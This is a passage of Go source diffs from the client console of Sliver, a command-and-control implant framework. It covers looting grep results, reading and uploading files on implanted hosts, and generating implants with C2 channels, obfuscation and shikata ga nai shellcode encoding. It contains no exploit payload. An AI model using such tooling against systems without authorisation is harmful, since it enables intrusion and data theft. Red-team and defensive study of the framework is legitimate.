func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
colorize, _ := cmd.Flags().GetBool("colorize-output")
userLootFileType, _ := cmd.Flags().GetString("file-type")
currentDateTime := time.Now().Format("2006-01-02_150405")
if !cmd.Flags().Changed("lootName") {
// If the loot name has not been specified by the operator, generate one
con.GetActiveSessionConfig()
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
}
if grep.Response != nil && grep.Response.Err != "" {
con.PrintErrorf("%s\n", grep.Response.Err)
return
}
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
if len(grepResults) > maxLinesDisplayed {
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
saveLoot = true
}
var resultQualifier string
var displayLimit string
if numberOfResults == 1 {
resultQualifier = "line"
} else {
resultQualifier = "lines"
}
if len(grepResults) > maxLinesDisplayed {
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
}
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
if len(grepResults) > maxLinesDisplayed {
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
} else {
con.Println(strings.Join(grepResults, "\n"))
}
if len(grepResults) > maxLinesDisplayed {
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
}
if len(binaryFilesMatched) > 0 {
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
for _, fileName := range binaryFilesMatched {
con.Printf("\t%s\n", fileName)
}
}
if saveLoot {
// Do not allow escape sequences in the output when looting
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
flags := []string{}
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
flags = append(flags, "recursive")
}
if exact, _ := cmd.Flags().GetBool("exact"); exact {
flags = append(flags, "exact match")
}
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
flags = append(flags, "case insensitive search")
}
// Add a header to the looted grep results to indicate what the pattern was and what was searched
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
if len(flags) > 0 {
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
}
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
if len(binaryFilesMatched) > 0 {
grepResultsString += "\nThe following binary files contained one or more matches:\n"
grepResultsString += strings.Join(binaryFilesMatched, "\n")
}
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
}
}
// grepLineResult - Add color or formatting for results for console output
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
var result string = ""
var matchOutput func(a ...interface{}) string
var previousPositionEnd int32 = 0
if colorize {
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
} else if allowFormatting {
matchOutput = color.New(color.Bold).SprintFunc()
}
for idx, position := range positions {
if colorize || allowFormatting {
result += line[previousPositionEnd:position.Start]
result += matchOutput(line[position.Start:position.End])
if idx == len(positions)-1 {
result += line[position.End:]
} else {
previousPositionEnd = position.End
}
} else {
result = line
}
}
return result
}
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
var resultOutput []string
var numberOfResults = 0
binaryFilesMatched := []string{}
for fileName, result := range results {
if result.IsBinary {
if len(result.FileResults) > 0 {
binaryFilesMatched = append(binaryFilesMatched, fileName)
}
}
for _, lineResult := range result.FileResults {
line := lineResult.Line
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
if len(lineResult.LinesBefore) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
}
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
if len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
}
resultOutput = append(resultOutput, "\n")
} else {
if lineResult.LineNumber == -1 {
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
} else {
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
}
}
numberOfResults += 1
}
}
return resultOutput, numberOfResults, binaryFilesMatched
}
+127
View File
@@ -0,0 +1,127 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var filePath string
var fetchBytes bool
var fetchSize int64
var operationName string
var download *sliverpb.Download
var err error
if len(args) > 0 {
filePath = args[0]
}
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
if cmd.Flags().Changed("bytes") {
fetchBytes = true
fetchSize, _ = cmd.Flags().GetInt64("bytes")
if fetchSize < 0 {
// Cannot fetch a negative number of bytes
con.PrintErrorf("The number of bytes specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "byte"
} else {
operationName = "bytes"
}
} else if cmd.Flags().Changed("lines") {
fetchBytes = false
fetchSize, _ = cmd.Flags().GetInt64("lines")
if fetchSize < 0 {
// Cannot fetch a negative number of lines
con.PrintErrorf("The number of lines specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "line"
} else {
operationName = "lines"
}
} else {
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
// A tail is a negative head
if !head {
fetchSize *= -1
}
if fetchBytes {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxBytes: fetchSize,
RestrictedToFile: true,
})
} else {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxLines: fetchSize,
RestrictedToFile: true,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, cmd, con)
}
}
+4 -1
View File
@@ -43,7 +43,10 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
}
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
if err != nil {
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
return
}
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
Request: con.ActiveTarget.Request(cmd),
Fd: fdInt,
+356 -20
View File
@@ -19,34 +19,277 @@ package filesystem
*/
import (
"archive/tar"
"bytes"
"context"
"errors"
"fmt"
"io/ioutil"
"io"
"io/fs"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
)
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func standarizeArchiveFileName(path string, uploadPathSpecified string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
var standardUploadPath string = strings.ReplaceAll(uploadPathSpecified, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
beginningOfUploadPath, _, _ := strings.Cut(standardUploadPath, "/")
if index := strings.Index(standardFilePath, beginningOfUploadPath); index != -1 {
// Add a / in front to make the specified upload path the root
standardFilePath = "/" + standardFilePath[index:]
}
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func tarDirectory(sourcePath string, pathAsSpecified string, sourceFilter string, recurse bool, preserveDirStructure bool) ([]byte, int, int, error) {
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
var buffer bytes.Buffer
tarWriter := tar.NewWriter(&buffer)
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(sourcePath, "\\", "/")
directory, err := os.Open(sourcePath)
if err != nil {
return nil, readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return nil, readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if sourceFilter != "" {
match, err := matcher.Match(sourcePath+sourceFilter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(sourcePath, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if sourceFilter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := matcher.Match(testPath+sourceFilter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
var fileName string
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue
}
if preserveDirStructure {
fileName = standarizeArchiveFileName(file, pathAsSpecified)
} else {
fileName = fi.Name()
}
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
unreadableFiles += 1
continue
}
fi, err = os.Lstat(file)
if err != nil {
unreadableFiles += 1
continue
}
}
header, err := tar.FileInfoHeader(fi, file)
if err != nil {
unreadableFiles += 1
continue
}
// Keep the symlink file path for the header name.
header.Name = filepath.ToSlash(fileName)
// Check that we can open the file before we try to write it to the archive
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
// Skip this file and do not write it to the archive.
unreadableFiles += 1
continue
}
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
data.Close()
continue
}
if _, err := io.Copy(tarWriter, data); err != nil {
unreadableFiles += 1
data.Close()
continue
}
data.Close()
readFiles += 1
} else {
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
continue
}
}
}
if err := tarWriter.Close(); err != nil {
return buffer.Bytes(), readFiles, unreadableFiles, err
}
return buffer.Bytes(), readFiles, unreadableFiles, nil
}
// UploadCmd - Upload a file to the remote system
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
readFiles := 0
unreadableFiles := 0
var isDirectory bool
var fileName string
var sourceInfomation fs.FileInfo
var uploadData []byte
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ""
localPath := args[0]
remotePath := args[1]
// localPath := ctx.Args.String("local-path")
// remotePath := ctx.Args.String("remote-path")
if len(args) > 1 {
remotePath = args[1]
}
recurse, _ := cmd.Flags().GetBool("recurse")
preserve, _ := cmd.Flags().GetBool("preserve")
isIOC, _ := cmd.Flags().GetBool("ioc")
overwrite, _ := cmd.Flags().GetBool("overwrite")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -54,33 +297,110 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
}
src, _ := filepath.Abs(localPath)
_, err := os.Stat(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if remotePath == "" {
fileName := filepath.Base(src)
remotePath = fileName
}
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
// Get information on the source - is it a directory?
srcPath, srcFilter := determineDirPathFilter(src)
sourceInfomation, err := os.Stat(src)
if err == nil && sourceInfomation.IsDir() {
if !strings.HasSuffix(src, string(os.PathSeparator)) {
src += string(os.PathSeparator)
}
srcPath = src
srcFilter = ""
}
if err != nil {
con.PrintErrorf("%s\n", err)
if errors.Is(err, fs.ErrNotExist) {
// Check to see if src ends with a filter
sourceInfomation, err = os.Stat(srcPath)
if errors.Is(err, fs.ErrNotExist) {
con.PrintErrorf("The source %s does not exist.\n", src)
return
} else if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
// If we still do not have information about the source at this point, bail.
if sourceInfomation == nil {
con.PrintErrorf("Could not get information about the upload source %s\n", src)
return
}
uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
if sourceInfomation.IsDir() {
// tar the directory and send it over
uploadData, readFiles, unreadableFiles, err = tarDirectory(srcPath, localPath, srcFilter, recurse, preserve)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if readFiles == 0 {
con.PrintErrorf("Could not find any files matching %s\n", src)
return
}
isDirectory = true
fileName = ""
} else {
uploadData, err = os.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
readFiles = 1
unreadableFiles = 0
isDirectory = false
fileName = filepath.Base(src)
}
uploadGzip, _ := new(encoders.Gzip).Encode(uploadData)
var readFilesQualifier string
var unsuccessfulFiles string
if readFiles == 1 {
readFilesQualifier = ""
} else {
readFilesQualifier = "s"
}
if unreadableFiles > 0 {
if unreadableFiles == 1 {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d file)", unreadableFiles)
} else {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d files)", unreadableFiles)
}
} else {
unsuccessfulFiles = ""
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Uploading %d file%s %sfrom %s to %s", readFiles,
readFilesQualifier,
unsuccessfulFiles,
src,
dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
FileName: fileName,
IsDirectory: isDirectory,
Overwrite: overwrite,
})
ctrl <- true
<-ctrl
@@ -109,5 +429,21 @@ func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
writtenFileQualifier := "s"
if upload.WrittenFiles == 1 {
writtenFileQualifier = ""
}
unwrittenFileQualifier := "s"
if upload.UnwriteableFiles == 1 {
unwrittenFileQualifier = ""
}
if upload.WrittenFiles > 0 {
if upload.UnwriteableFiles > 0 {
con.PrintInfof("Wrote %d file%s successfully (%d file%s not written) to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
} else {
con.PrintInfof("Wrote %d file%s successfully to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.Path)
}
} else {
con.PrintInfof("Could not write %d file%s to %s: the files already exist on the target\n", upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
}
}
+3 -4
View File
@@ -18,7 +18,7 @@ var (
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
config := parseCompileFlags(cmd, con)
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -33,10 +33,9 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
compile(config, disableSGN, save, con)
compile(config, save, con)
} else {
externalBuild(config, save, con)
externalBuild(name, config, save, con)
}
}
+37 -29
View File
@@ -90,7 +90,7 @@ var (
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
config := parseCompileFlags(cmd, con)
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -99,10 +99,9 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
compile(config, disableSGN, save, con)
compile(config, save, con)
} else {
_, err := externalBuild(config, save, con)
_, err := externalBuild(name, config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
@@ -183,14 +182,14 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) {
var name string
if nameF, _ := cmd.Flags().GetString("name"); nameF != "" {
name = strings.ToLower(nameF)
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
return "", nil
}
}
@@ -200,7 +199,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
mtlsC2, err := ParseMTLSc2(mtlsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, mtlsC2...)
@@ -208,7 +207,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
wgC2, err := ParseWGc2(wgC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
wgKeyExchangePort, _ := cmd.Flags().GetUint32("key-exchange")
wgTcpCommsPort, _ := cmd.Flags().GetUint32("tcp-comms")
@@ -219,7 +218,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
httpC2, err := ParseHTTPc2(httpC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, httpC2...)
@@ -227,7 +226,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
dnsC2, err := ParseDNSc2(dnsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, dnsC2...)
@@ -235,7 +234,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
namedPipeC2, err := ParseNamedPipec2(namedPipeC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, namedPipeC2...)
@@ -243,7 +242,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
tcpPivotC2, err := ParseTCPPivotc2(tcpPivotC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, tcpPivotC2...)
@@ -257,7 +256,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return nil
return "", nil
}
rawCanaries, _ := cmd.Flags().GetString("canary")
@@ -290,6 +289,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
isSharedLib := false
isService := false
isShellcode := false
sgnEnabled := false
format, _ := cmd.Flags().GetString("format")
runAtLoad := false
@@ -304,6 +304,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
sgnEnabled = !sgnEnabled
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
@@ -318,20 +320,20 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
targetArch := strings.ToLower(targetArchF)
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return nil
return "", nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
return "", nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
return "", nil
}
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return nil
return "", nil
}
var tunIP net.IP
@@ -340,7 +342,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
tunIP = net.ParseIP(uniqueWGIP.IP)
if err != nil {
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
return nil
return "", nil
}
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
@@ -351,19 +353,24 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
connectionStrategy, _ := cmd.Flags().GetString("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
return "", nil
}
// Parse Traffic Encoder Args
httpC2Enabled := 0 < len(httpC2)
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(cmd, httpC2Enabled, con)
c2Profile, _ := cmd.Flags().GetString("c2profile")
if c2Profile == "" {
c2Profile = consts.DefaultC2Profile
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
Name: name,
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
@@ -395,10 +402,11 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
TrafficEncodersEnabled: trafficEncodersEnabled,
Assets: trafficEncoderAssets,
DebugFile: debugFile,
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
}
return config
return name, config
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
@@ -775,7 +783,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
@@ -815,6 +823,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Name: name,
Config: config,
BuilderName: externalBuilder.Name,
})
@@ -824,7 +833,6 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
@@ -842,13 +850,13 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
if parts[0] == externalImplantConfig.Build.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Config.ID {
if string(event.Data) == externalImplantConfig.Build.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
@@ -857,7 +865,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
if parts[0] == externalImplantConfig.Build.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
@@ -898,7 +906,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
return nil, nil
}
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -934,7 +942,7 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
fileData := generated.File.Data
if config.IsShellcode {
if disableSGN {
if !config.SGNEnabled {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+33 -37
View File
@@ -14,46 +14,24 @@ import (
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
// get implant builds
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
implantName := buildImplantName(profile.GetConfig().GetFileName())
_, ok := builds.GetConfigs()[implantName]
if implantName == "" || !ok {
// no built implant found for profile, generate a new one
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
data = generated.GetFile().GetData()
profile.Config.FileName = generated.File.Name
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
} else {
// Found a build, reuse that one
con.PrintInfof("Sliver name for profile: %s\n", implantName)
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: implantName,
})
if err != nil {
return data, err
}
data = regenerate.GetFile().GetData()
data = generated.GetFile().GetData()
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
